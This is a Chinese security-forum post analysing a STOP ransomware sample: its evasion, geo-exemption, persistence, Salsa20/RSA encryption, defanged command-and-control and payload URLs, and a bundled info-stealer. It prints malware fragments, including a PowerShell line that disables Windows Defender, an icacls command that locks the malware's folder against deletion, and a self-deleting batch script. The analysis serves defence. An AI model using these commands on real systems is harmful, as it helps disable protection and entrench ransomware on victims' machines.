本帖最后由 Potato 于 2019-10-31 12:32 编辑
相关阅读:Stop勒索病毒家族,我是链接请点我
一、 样本信息
- 文件名:stop
- MD5:ceb6f42385af9b50e8ec132aabac81a9
- SHA1:e840910afdf0062495fee67486970b4bb9e59f18
复制代码 二、 代码分析
1. 文件释放
Stop运行之后,首先解密释放一个PE文件到内存,并装载至当前进程空间执行。通过这种方法躲避杀软的静态扫描检查。
360社区
360社区
病毒在执行时还会检查当前所属进程的执行权限。如果当前进程非管理员权限,则以管理员权限方式重新启动自身。
重新以管理员权限运行自身时,系统会弹出用户账户控制(UAC)对话框,等待用户选择,一旦用户点击”是”,病毒将以管理员权限执行;如果用户点击”否”,即新起病毒进程未通过UAC,程序则以普通权限运行。
病毒在管理员权限下运行将拥有更高的文件访问和读写权限,并可以执行诸多高权限操作。
360社区
360社区
2. 区域豁免
访问网址https://api.2ip[.]ua/geo.json,获取用户所在地区/国家代码。
360社区
根据该网址返回的国家代码,判断豁免以下地区:
- RU:俄罗斯
- BY:白俄罗斯
- UA:乌克兰
- AZ:阿塞拜疆
- AM:亚美尼亚
- TJ:塔吉克斯坦
- KZ:哈萨克斯坦
- KG:吉尔吉斯斯坦
- UZ:乌兹别克
另外在样本中还列出了叙利亚国家代码SY,但是并没有对该代码进行比较,也就是说实际并未豁免叙利亚。
如果机器所在地区属于豁免名单中,那么Stop将删除自身并退出执行。首先在%temp%目录下创建windows批处理文件delself.bat,然后执行该文件。文件内容如下,脚本最终会将Stop程序和bat文件自身全部删除。
- @echo off
- :try
- del %STOP_PATH%
- if exist %STOP_PATH% goto try
- del C:\Users\%username%\AppData\Local\Temp\delself.bat
复制代码
360社区
3. 自启动
STOP会为当前进程创建一个UUID,利用UUID创建目录”%localappdata%\UUID”,并复制自身到该目录下,为复制后的新文件路径创建名为”SysHelper”的自启动项,添加启动时执行参数”--AutoStart”。
360社区
执行下面的指令,该指令将设置UUID命名的新文件夹访问权限为不可删除。
- icacls C:\Users\%username%\AppData\Local\UUID /deny *S-1-1-0:(OI)(CI)(DE,DC)
复制代码
360社区
使用系统COM接口创建计划任务” Time Trigger Task”,每五分钟执行一次,执行病毒程序,参数为”--Task”。
360社区
4. RSA公钥和用户id
获取当前机器的MAC地址,计算MAC地址的MD5摘要值。接着访问URI:http://ring1[.]ug/sfdgsgdfhsgdhpenelop9/sgfdfgh/get.php,将MAC地址摘要值作为该GET请求的pid参数值;另一个参数first,其值由注册表键HKCU\Software\Microsoft\Windows\CurrentVersion\SysHelper的DWORD值确定,当SysHelper为1,first参数为true,否则为false。样本在初次访问时first=true。
- 例如:
- http://ring1[.]ug/sfdgsgdfhsgdhpenelop9/sgfdfgh/get.php?pid=BEC3599AD7B40C4D9FC69C16C51F3B28&first=false
复制代码
下载URI资源,保存为文件%LocalAppData%\bowsakkdestx.txt。
360社区
观察返回的结果,可以看到其中包括两个元素:RSA Public Key(PEM格式)和id。可合理推测:借由系统MAC地址的MD5摘要值,远程服务器为用户生成RSA公钥(1024-bit)和id,并下发到本地。若连续尝试访问远程服务器4次均失败,则使用本地硬编码的RSA公钥和id进行后续加密流程。
用户RSA公钥将用于加密文件加密密钥,id则作为用户标识。
360社区
5. 搜索文件进行加密
搜索目标包括可枚举的网络资源和本地目录。
360社区
Stop对于指定类型文件或者目录将不进行搜寻和加密,以免影响系统正常运行。
其中避免加密的文件名包括:
- ntuser.dat
- ntuser.dat.LOG1
- ntuser.dat.LOG2
- ntuser.pol
- _readme.txt(勒索信息文件名)
避免加密的文件扩展名包括:
- .sys
- .ini
- .DLL
- .dll
- .blf
- .bat
- .lnk
- .regtrans-ms
- .nols(已加密文件扩展名)
避免搜寻加密的目录相对较多,主要包括系统目录和用户目录,如C:\Windows\、C:\Users\All Users\等。
360社区
6. 文件加密
获取文件大小,当文件过小不进行加密,在添加扩展名”.nols”后返回。
360社区
接着读取文件尾部38字节内容,如果等于标识字符串{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},说明文件曾被加密过,不再进行加密。
360社区
对可加密文件,调用UuidCreate函数为每个加密文件生成不同uuid并转化为36字节字符串,取前32字节作为salsa20(对称加密算法)密钥,初始向量为uuid的前8字节。例如:
360社区
扩展后的密钥组成如下:
360社区
正式使用salsa20对文件内容进行加密时,最多只加密文件内容从第6个字节开始的150Kb内容,即首部的5字节不进行加密。
然后使用下载文件bowsakkdestx.txt 中RSA(非对称加密算法)公钥加密uuid(即密钥和初始变量)。
文件加密代码如下:
360社区
加密流程以及加密文件结构如下图:
360社区
加密后文件尾部示例:
360社区
7. 勒索信息文件
Stop会在每个磁盘和用户目录下创建一个勒索信息文件,文件含有用户的id,由常量”0173HfghP”+服务器下发的id组成。
360社区
8. 其他程序的下载和执行
Stop病毒会解出以下URI,访问资源并下载执行,但是仅资源updatewin1.exe、updatewin2.exe和5.exe可下载。
- http://ring1[.]ug/files/penelop/updatewin1.exe
- http://ring1[.]ug/files/penelop/updatewin2.exe
- http://ring1[.]ug/files/penelop/updatewin.exe
- http://ring1[.]ug/files/penelop/3.exe
- http://ring1[.]ug/files/penelop/4.exe
- http://ring1[.]ug/files/penelop/5.exe
360社区
(1). updatewin1.exe
利用powershell添加文件执行策略,对于网上下载脚本,需要其携带被信任的签名才能被执行。
360社区
释放powershell脚本.ps1,功能是关闭windows defender的实时保护:
- Set-MpPreference -DisableRealtimeMonitoring $true
复制代码
360社区
以管理员权限执行.ps1。
360社区
禁用任务管理器。
360社区
最后删除自身,删除方式和stop一致,创建delself.bat执行。
(2). updatewin2.exe
修改hosts文件,将各个反病毒厂商对应的网站指向本地,使用户无法访问对应的网站。修改后的hosts文件如下:
(3). 5.exe
首先获取语言代码,根据代码比较是否为指定地区和国家,是则退出执行。
360社区
接着搜集多种浏览器历史记录、cookies、密码信息以及数字货币钱包信息、系统信息、邮箱信息(Outlook)、截屏等数据。
将所有信息打包成zip文件,发送到服务器thomasuncas[.]com。
360社区
360社区
压缩包信息:
360社区
|
|
|
|
评论
直达楼层